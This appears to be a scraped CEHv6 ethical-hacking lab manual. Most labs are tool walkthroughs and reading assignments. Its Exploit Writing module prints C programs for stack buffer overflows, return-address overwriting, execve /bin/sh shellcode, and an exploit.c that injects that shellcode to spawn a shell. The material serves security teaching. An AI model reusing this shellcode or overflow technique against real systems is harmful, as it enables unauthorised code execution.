• No results found

Module 26. Penetration Testing

N/A
N/A
Protected

Academic year: 2021

Share "Module 26. Penetration Testing"

Copied!
101
0
0

Loading.... (view fulltext now)

Full text

(1)

Module 26

Penetration Testing

(2)

Lab 26-01

Objective:

Use Azure Web Log to know details about your web traffic

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and Launch Azure Web Log

 Start a New Project from Project -> New. Enter the data and click Ok

(3)

 Start a New Log File from File -> Add Log

(4)

 Click Hits and Refs

 Click Site Info

(5)

 Click Current Month

 Click Previous Month

(6)

 Click Year Hits

 Click Hour

(7)

 Click System

 Country

(8)

Lab 26-02

Objective:

Use iInventory to capture hardware & software inventory and registry keys without having to leave your desk.

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and launch iInventory

 Click button Audit this PC in the left side pane. To start performance audit

(9)

 Performance Audit Report

 Click Scan Network button on the left side pane.

(10)

 Click Agent Builder Wizard on the left pane

 Set the options and click Next to forward to the next step

 Click Show Agent Config button on the left side pane

 Select an agent file from the list to display its summary

(11)
(12)

 Summary of agent configuration

(13)

Lab 26-03

Objective:

Use Link Utility to check links on Web sites and sustaining their efficiency.

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and launch Link Utility

 Click New Project button

(14)

 Click Import from HTML File. Select a file to import site addresses from. Click Ok

(15)

 Click Settings button to change the present options

(16)

 Click Scan button. Click Yes

(17)
(18)

 Click on the Report to generate the report file

(19)

Lab 26-04

Objective:

Use MaxCrypt to perform automated computer encryption.



In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and launch MaxCrypt

 Click on New User to create a New User

 Now Login

(20)

 Click on the MaxCrypt icon in the windows system tray to access the MaxCrypt Quick Menu

 Click on Manage Volumes

(21)

 Click on Create Volume button to create a new volume

 Enter the data and click Create Volume

(22)

 The New Volume F:\ is created

(23)

 Click on the MaxCrypt icon in the windows system tray to access the MaxCrypt Quick Menu

 Click on Conceal Files

(24)

 Select a file and click Add button

(25)

 Finally Logout user

Lab 26-05

Objective:

Use Sniffem for monitoring network and capturing data traffic.

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and launch Sniffem

(26)
(27)

 Click Settings button to modify the present settings

 Click Capture button to start capturing the activities

 Click Stop button to stop capturing

(28)

Lab 26-06

Objective:

Use SQL Stripes to monitor and control your SQL Servers.

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and Launch SQL Stripes

 Click Yes

(29)

 Select Settings to modify the present options

(30)

 Select Server from the left side pane in the above window and click + symbol button in the right side pane to create a new server

 Enter details and click OK to create a new server

(31)

 Server 1 Created

 Check the Console

(32)

Lab 26-07

Objective:

Use TraceRoute Program to know the route over the network between two systems, listing of all the intermediate routers connected to its destination.

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and launch TraceRoute

 Input URL www.juggyboy.com in the Address bar. Click Trace

(33)

 Trace Result

 Repeat the same for other sites

(34)

Lab 26-08

Objective:

Use Windows Security Officer to restrict the resources for an application

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Install and Launch Windows Security Officer

 Initially click to change the administrator password

(35)

 Expand System 10 options in the left side pane

 Select Control Panel to modify the options

(36)

 Select Shell Restrictions to modify the options

 Select IE Browser Security to modify the options

(37)
(38)

 Select IE Cookies Viewer to modify the options

 Select Log User Activity to modify the options

(39)

 Select Restrict User Work Time to modify the options

 Select Folder Guard to modify the options

(40)

Lab 26-09

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Open the Penetration Testing.pdf and read the content Develop a penetration test plan

(41)



Lab 26-10

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Open the Software Penetration Testing.pdf and read the content Penetration testing

today

(42)



Module 27

Covert Hacking

(43)

Lab 27-01

 In the CEHv6 Labs CD-ROM, navigate to Module 27

 Open the Covert Channel Analysis and Data Hiding in TCPIP.pdf and read the content

Covert Channels

(44)

Lab 27-02

 In the CEHv6 Labs CD-ROM, navigate to Module 27

 Open the Bypassing Firewall.pdf and read the content Firewall Piercing (Inside-Out Attacks)

 In the same PDF file, read the Examples of Covert Channel Attacks topic

(45)

Lab 27-03

 In the CEHv6 Labs CD-ROM, navigate to Module 27

 Open the Covert Actions.pdf and read the content Covert channels are the principle

enablers in a DDoS attack

(46)

 Lab 27-04

 In the CEHv6 Labs CD-ROM, navigate to Module 27

 Open the Covert channel vulnerabilities in anonymity systems.pdf and read the content

Covert channels

(47)

Module 30

Exploit Writing

(48)

Lab 30-01

 In the CEHv6 Labs CD-ROM, navigate to Module 30

 Boot your computer using the BackTrack CD-ROM

 Open command shell and type: kedit example1.c

 Type the following in kedi:

void function(int a, int b, int c) { char buffer1[5];

char buffer2[10];

}

void main() { function(1,2,3);

}

(49)

 Save the program in kedit.

 Compile the program by typing: $ gcc -S -o example1.s example1.c

(50)

 View the generated assembly file by typing: kedit example1.s

(51)

Lab 30-02

example2.c

 In the CEHv6 Labs CD-ROM, navigate to Module 30

 Create another program in kedit.

Kedit example2.c

 Type the following:

void function(char *str) { char buffer[16];

strcpy(buffer,str);

}

void main() {

char large_string[256];

int i;

for( i = 0; i < 255; i++) large_string[i] = 'A';

function(large_string);

}

(52)

 Save the program in kedit.

(53)

 Compile the program by typing: $ gcc -o example2.s example2.c

(54)

 Run the program by typing: ./example2.s

(55)

 You should see a segmentation fault error

(56)

 View the generated assembly file by typing: kedit example2.asm

(57)

Lab 30-03 Objective:

example3.c

 In the CEHv6 Labs CD-ROM, navigate to Module 30

 Create another program in kedit. Kedit example3.c

 Type the following:

void function(int a, int b, int c) { char buffer1[5];

char buffer2[10];

int *ret;

ret = buffer1 + 12;

(*ret) += 8;

}

void main() { int x;

x = 0;

function(1,2,3);

x = 1;

printf("%d\n",x);

}

(58)

 Save the program and compile it by typing: $gcc –o example3 example3.c

(59)

 Run the program by typing: $./example3

(60)

 It should print one

 Disassemble main using gdb

 Type the following: $gdb example3

(61)

 Type: disassemble main

(62)
(63)

Lab 30-04

Objective:

shellcode.c

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Create another program in kedit Kedit shellcode.c

Type the following:

#include <stdio.h>

void main() { char *name[2];

name[0] = "/bin/sh";

name[1] = NULL;

execve(name[0], name, NULL);

}

(64)

 Compile the program by typing:

$ gcc -o shellcode -ggdb -static shellcode.c

(65)

 Type:

$ gdb shellcode

 Then, type disassemble main.

(66)

 Type disassemble _execve

(67)
(68)

Lab 30-05 Objective:

exit.c

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Create another program in kedit.

Kedit exit.c

Type the following:

#include <stdlib.h>

void main() { exit(0);

}

 Compile the program using:

$ gcc -o exit -static exit.c

 View the generated code gdb by typing:

gdb exit

 Then:

disassemble _exit

(69)

Lab 30-06

Objective:

testsc.c

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Create another program in kedit.

Kedit testsc.c

 Type the following:

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x 00\x00"

"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\x cd\x80"

"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\x ff\xff"

"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() { int *ret;

ret = (int *)&ret + 2;

(*ret) = (int)shellcode;

}

 Compile the program using:

$ gcc -o testsc testsc.c

 Run the program by typing:

./testsc

 You should see a shell launched.

 Type exit to exit the shell.

(70)

Lab 30-07

Objective:

exploit.c

 In the CEHv6 Labs CD-ROM, navigate to Module 26

 Create another program in kedit Kedit exploit.c

 Type the following:

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b

"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd

"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() { char buffer[96];

int i;

long *long_ptr = (long *) large_string;

for (i = 0; i < 32; i++)

*(long_ptr + i) = (int) buffer;

for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];

strcpy(buffer,large_string);

}

 Compile the program using:

$ gcc -o exploit exploit.c

 Run the program by typing:

./exploit

 You should see a shell launched

Type exit to exit the shell

(71)

Module 34

Mac OS X Hacking

(72)

Lab 34-01

 In the CEHv6 Labs CD-ROM, navigate to Module 34

 Open the Securing Mac OS X.pdf and read the content

 Read the Security Hardening Guideline topic

(73)

 In the same PDF file, read the Data Encryption topic

(74)

Lab 34-02

 In the CEHv6 Labs CD-ROM, navigate to Module 34

 Open the Security in Mac OS X.pdf and read the content

 Read the Secure Default Settings topic

(75)

 In the same PDF file, read the Modern Security Architecture topic

(76)

 Next, read the Strong Authentication topic

(77)

Lab 34-03

 In the CEHv6 Labs CD-ROM, navigate to Module 34

 Open the Mac OS X 10.4 Security Checklist.pdf and read the content

 Read the OS X Security Architecture topic

(78)

 In the same PDF file, read the User Account Security topic

(79)

 Next, read the Securing System Preferences topic

(80)

Lab 34-04

 In the CEHv6 Labs CD-ROM, navigate to Module 34

 Open the Mac OS X Hacking Poses Wide Risk to Windows.pdf and read the content

 Read the Mac OS X Hacking Poses Wide Risk… for Windows topic

(81)

Module 35

Hacking Routers, Cable Modems, and

Firewalls

(82)

Lab 35-01

 In the CEHv6 Labs CD-ROM, navigate to Module 35

 Open the Chapter 9-Firewalls.pdf and read the content

 Read the FIREWALL IDENTIFICATION topic

(83)

 Next, read the PACKET FILTERING topic

(84)

Lab 35-02

 In the CEHv6 Labs CD-ROM, navigate to Module 35

 Open the CISCO ROUTERS AS TARGETS.pdf and read the content

 Read the Compromised Router Sniffing topic

(85)

 In the same PDF file, read the Why we need to protect router resources topic

 Next, read the Router Audit Tool topic

(86)

Lab 35-03

 In the CEHv6 Labs CD-ROM, navigate to Module 35

 Open the Cisco Router Security Best Practices.pdf and read the content

 Read the Access management topic

(87)

 In the same PDF file, read the SNTP Security topic

(88)

 Next, read the Access control lists topic

(89)

Lab 35-04

 In the CEHv6 Labs CD-ROM, navigate to Module 35

 Open the 8 steps to protect your Cisco router.pdf and read the content

(90)

 In the same PDF file, read the Encrypt all passwords topic

(91)

Module 36

Hacking Mobile Phones, PDA, and

Handheld Devices

(92)

Lab 36-01

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the Take Control of Your iPhone.pdf and read the content

 Read the QUICK START TO TAKING CONTROL OF AN iPHONE topic

(93)

 In the same PDF file, read the 8 QUICK TROUBLESHOOTING STEPS topic

(94)

 Next, read the AVOID NAVIGATION AND TYPING HASSLES topic

(95)

Lab 36-02

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the iphone Hardware Unlock.pdf and read the content

(96)

Lab 36-03

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the How to Unlock an iPhone.pdf and read the content

(97)

Lab 36-04

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the The Anatomy of a Hack.pdf and read the content.

 Read the Understanding the Threats to Your Mobile Workforce topic

(98)

 In the same PDF file, read the Anatomy of a Hack Video Companion Guide topic

(99)

Lab 36-05

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the Mobile Handset Security.pdf and read the content

 Read the Security issues on mobile devices topic

(100)

 In the same PDF file, read the Threats and Attacks topic

(101)

Lab 36-06

 In the CEHv6 Labs CD-ROM, navigate to Module 36

 Open the Mobile Malware Threats and Prevention.pdf and read the content

References

Related documents

Right-click the Procedures node in the schema hierarchy on the left side, select New Procedure, and enter the following information using the Create PL/SQL Procedure dialog

To make the app live, click Status &amp; Review on the left pane, click the No switch on the right pane to make it Yes, and then click Confirm... Click App Details on the left

In the left pane, select Protect data from a hard drive failure with RAID 1, and then click the icon beside Create a RAID 1 volume in the right pane.. When the confirmation

•  Settings and Locations pane: Click the Settings &amp; Locations button in the upper-left corner of the Compressor window to expand this area on the left side of the

Navigate to the following screen using the tree pane on the left hand side of the browser interface.. Click the New button and define the

4. Device1 will be created. It will be displayed in the tree pane on the left side of the Bristol BSI OPC Server window. Add a new tag in the Bristol BSI OPC Server. Select Add/New

2 In the left pane, click the Contact Center Manager Server on which to create a public copy of a private real-time display.. 3 Select the Private Tabular

• In the project Data Elements pane, right-click the pane, select Add Data Source, then Create a New Source, and then From Oracle Applications.. Note: You must create the